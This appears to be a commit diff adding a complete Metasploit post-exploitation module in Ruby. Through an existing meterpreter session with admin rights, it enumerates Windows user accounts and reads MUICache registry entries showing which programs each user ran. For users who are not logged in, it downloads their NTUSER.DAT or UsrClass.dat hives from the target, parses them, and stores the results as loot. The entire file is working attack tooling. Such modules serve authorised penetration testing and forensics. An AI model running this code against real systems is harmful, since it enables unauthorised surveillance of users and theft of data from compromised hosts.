|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex' |
| 7 | +require 'msf/core' |
| 8 | +require 'rex/registry' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Post |
| 11 | + include Msf::Post::File |
| 12 | + include Msf::Post::Windows::Priv |
| 13 | + include Msf::Post::Windows::Registry |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' =>'Windows Gather Enum User MUICache', |
| 18 | + 'Description' => |
| 19 | + %q{ |
| 20 | + This module gathers information about the files and file paths that logged on users have |
| 21 | + executed on the system. It also will check if the file exists on the system still. This |
| 22 | + information is gathered by using information stored under the MUICache registry key. If |
| 23 | + the user is logged in when the module is executed it will collect the MUICache entries |
| 24 | + by accessing the registry directly. If the user is not logged in the module will download |
| 25 | + users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are |
| 26 | + parsed from the downloaded hive. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => ['TJ Glad <tjglad[at]cmail.nu>'], |
| 30 | + 'Platform' => ['win'], |
| 31 | + 'SessionType' => ['meterpreter'] |
| 32 | + )) |
| 33 | + end |
| 34 | + |
| 35 | + # Scrapes usernames, sids and homepaths from the registry so that we'll know |
| 36 | + # what user accounts are on the system and where we can find those users |
| 37 | + # registry hives. |
| 38 | + def find_user_names |
| 39 | + user_names = [] |
| 40 | + user_homedir_paths = [] |
| 41 | + user_sids = [] |
| 42 | + |
| 43 | + username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList" |
| 44 | + profile_subkeys = registry_enumkeys(username_reg_path) |
| 45 | + if profile_subkeys.blank? |
| 46 | + print_error("Unable to access ProfileList registry key. Can't continue.") |
| 47 | + return nil |
| 48 | + end |
| 49 | + |
| 50 | + profile_subkeys.each do |user_sid| |
| 51 | + unless user_sid.length > 10 |
| 52 | + next |
| 53 | + end |
| 54 | + user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath") |
| 55 | + if user_home_path.blank? |
| 56 | + print_error("Unable to read ProfileImagePath from the registry. Can't continue.") |
| 57 | + return nil |
| 58 | + end |
| 59 | + full_path = user_home_path.strip |
| 60 | + user_names << full_path.split("\\").last |
| 61 | + user_homedir_paths << full_path |
| 62 | + user_sids << user_sid |
| 63 | + end |
| 64 | + |
| 65 | + return user_names, user_homedir_paths, user_sids |
| 66 | + end |
| 67 | + |
| 68 | + # This function builds full registry muicache paths so that we can |
| 69 | + # later enumerate the muicahe registry key contents. |
| 70 | + def enum_muicache_paths(sys_sids, mui_path) |
| 71 | + user_mui_paths = [] |
| 72 | + hive = "HKU\\" |
| 73 | + |
| 74 | + sys_sids.each do |sid| |
| 75 | + full_path = hive + sid + mui_path |
| 76 | + user_mui_paths << full_path |
| 77 | + end |
| 78 | + |
| 79 | + user_mui_paths |
| 80 | + end |
| 81 | + |
| 82 | + # This is the main enumeration function that calls other main |
| 83 | + # functions depending if we can access the registry directly or if |
| 84 | + # we need to download the hive and process it locally. |
| 85 | + def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) |
| 86 | + results = [] |
| 87 | + |
| 88 | + all_user_entries = sys_users.zip(muicache_reg_keys, sys_paths) |
| 89 | + |
| 90 | + all_user_entries.each do |user, reg_key, sys_path| |
| 91 | + |
| 92 | + subkeys = registry_enumvals(reg_key) |
| 93 | + if subkeys.blank? |
| 94 | + # If the registry_enumvals returns us nothing then we'll know |
| 95 | + # that the user is most likely not logged in and we'll need to |
| 96 | + # download and process users hive locally. |
| 97 | + print_warning("User #{user}: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..") |
| 98 | + result = process_hive(sys_path, user, muicache, hive_file) |
| 99 | + unless result.nil? |
| 100 | + result.each { |r| |
| 101 | + results << r unless r.nil? |
| 102 | + } |
| 103 | + end |
| 104 | + else |
| 105 | + # If the registry_enumvals returns us content we'll know that we |
| 106 | + # can access the registry directly and thus continue to process |
| 107 | + # the content collected from there. |
| 108 | + print_status("User #{user}: Enumerating registry..") |
| 109 | + subkeys.each do |key| |
| 110 | + if key[0] != "@" && key != "LangID" && !key.nil? |
| 111 | + result = check_file_exists(key, user) |
| 112 | + results << result unless result.nil? |
| 113 | + end |
| 114 | + end |
| 115 | + end |
| 116 | + end |
| 117 | + |
| 118 | + results |
| 119 | + end |
| 120 | + |
| 121 | + # This function will check if it can find the program executable |
| 122 | + # from the path it found from the registry. Permissions might affect |
| 123 | + # if it detects the executable but it should be otherwise fairly |
| 124 | + # reliable. |
| 125 | + def check_file_exists(key, user) |
| 126 | + program_path = expand_path(key) |
| 127 | + if file_exist?(key) |
| 128 | + return [user, program_path, "File found"] |
| 129 | + else |
| 130 | + return [user, program_path, "File not found"] |
| 131 | + end |
| 132 | + end |
| 133 | + |
| 134 | + # This function will check if the filepath contains a registry hive |
| 135 | + # and if it does it'll proceed to call the function responsible of |
| 136 | + # downloading the hive. After successfull download it'll continue to |
| 137 | + # call the hive_parser function which will extract the contents of |
| 138 | + # the MUICache registry key. |
| 139 | + def process_hive(sys_path, user, muicache, hive_file) |
| 140 | + user_home_path = expand_path(sys_path) |
| 141 | + hive_path = user_home_path + hive_file |
| 142 | + ntuser_status = file_exist?(hive_path) |
| 143 | + |
| 144 | + unless ntuser_status == true |
| 145 | + print_warning("Couldn't locate/download #{user}'s registry hive. Can't proceed.") |
| 146 | + return nil |
| 147 | + end |
| 148 | + |
| 149 | + print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file..") |
| 150 | + local_hive_copy = Rex::Quickfile.new("jtrtmp") |
| 151 | + local_hive_copy.close |
| 152 | + begin |
| 153 | + session.fs.file.download_file(local_hive_copy.path, hive_path) |
| 154 | + rescue ::Rex::Post::Meterpreter::RequestError |
| 155 | + print_error("Unable to download NTUSER.DAT/USRCLASS.DAT file") |
| 156 | + local_hive_copy.unlink rescue nil |
| 157 | + return nil |
| 158 | + end |
| 159 | + results = hive_parser(local_hive_copy.path, muicache, user) |
| 160 | + local_hive_copy.unlink rescue nil # Windows often complains about unlinking tempfiles |
| 161 | + |
| 162 | + results |
| 163 | + end |
| 164 | + |
| 165 | + # This function is responsible for parsing the downloaded hive and |
| 166 | + # extracting the contents of the MUICache registry key. |
| 167 | + def hive_parser(local_hive_copy, muicache, user) |
| 168 | + results = [] |
| 169 | + print_status("Parsing registry content..") |
| 170 | + err_msg = "Error parsing hive. Can't continue." |
| 171 | + hive = Rex::Registry::Hive.new(local_hive_copy) |
| 172 | + if hive.nil? |
| 173 | + print_error(err_msg) |
| 174 | + return nil |
| 175 | + end |
| 176 | + |
| 177 | + muicache_key = hive.relative_query(muicache) |
| 178 | + if muicache_key.nil? |
| 179 | + print_error(err_msg) |
| 180 | + return nil |
| 181 | + end |
| 182 | + |
| 183 | + muicache_key_value_list = muicache_key.value_list |
| 184 | + if muicache_key_value_list.nil? |
| 185 | + print_error(err_msg) |
| 186 | + return nil |
| 187 | + end |
| 188 | + |
| 189 | + muicache_key_values = muicache_key_value_list.values |
| 190 | + if muicache_key_values.nil? |
| 191 | + print_error(err_msg) |
| 192 | + return nil |
| 193 | + end |
| 194 | + |
| 195 | + muicache_key_values.each do |value| |
| 196 | + key = value.name |
| 197 | + if key[0] != "@" && key != "LangID" && !key.nil? |
| 198 | + result = check_file_exists(key, user) |
| 199 | + results << result unless result.nil? |
| 200 | + end |
| 201 | + end |
| 202 | + |
| 203 | + results |
| 204 | + end |
| 205 | + |
| 206 | + # Information about the MUICache registry key was collected from: |
| 207 | + # |
| 208 | + # - Windows Forensic Analysis Toolkit / 2012 / Harlan Carvey |
| 209 | + # - Windows Registry Forensics / 2011 / Harlan Carvey |
| 210 | + # - http://forensicartifacts.com/2010/08/registry-muicache/ |
| 211 | + # - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots |
| 212 | + def run |
| 213 | + print_status("Starting to enumerate MuiCache registry keys..") |
| 214 | + sys_info = sysinfo['OS'] |
| 215 | + |
| 216 | + if sys_info =~/Windows XP/ && is_admin? |
| 217 | + print_good("Remote system supported: #{sys_info}") |
| 218 | + muicache = "\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache" |
| 219 | + hive_file = "\\NTUSER.DAT" |
| 220 | + elsif sys_info =~/Windows 7/ && is_admin? |
| 221 | + print_good("Remote system supported: #{sys_info}") |
| 222 | + muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache" |
| 223 | + hive_file = "\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" |
| 224 | + else |
| 225 | + print_error("Unsupported OS or not enough privileges. Unable to continue.") |
| 226 | + return nil |
| 227 | + end |
| 228 | + |
| 229 | + table = Rex::Ui::Text::Table.new( |
| 230 | + 'Header' => 'MUICache Information', |
| 231 | + 'Indent' => 1, |
| 232 | + 'Columns' => |
| 233 | + [ |
| 234 | + "Username", |
| 235 | + "File path", |
| 236 | + "File status", |
| 237 | + ]) |
| 238 | + |
| 239 | + print_status("Phase 1: Searching user names..") |
| 240 | + sys_users, sys_paths, sys_sids = find_user_names |
| 241 | + |
| 242 | + if sys_users.blank? |
| 243 | + print_error("Was not able to find any user accounts. Unable to continue.") |
| 244 | + return nil |
| 245 | + else |
| 246 | + print_good("Users found: #{sys_users.join(", ")}") |
| 247 | + end |
| 248 | + |
| 249 | + print_status("Phase 2: Searching registry hives..") |
| 250 | + muicache_reg_keys = enum_muicache_paths(sys_sids, muicache) |
| 251 | + results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) |
| 252 | + |
| 253 | + results.each { |r| table << r } |
| 254 | + |
| 255 | + print_status("Phase 3: Processing results..") |
| 256 | + loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information") |
| 257 | + print_line("\n" + table.to_s + "\n") |
| 258 | + print_status("Results stored in: #{loot}") |
| 259 | + print_status("Execution finished.") |
| 260 | + end |
| 261 | + |
| 262 | +end |
0 commit comments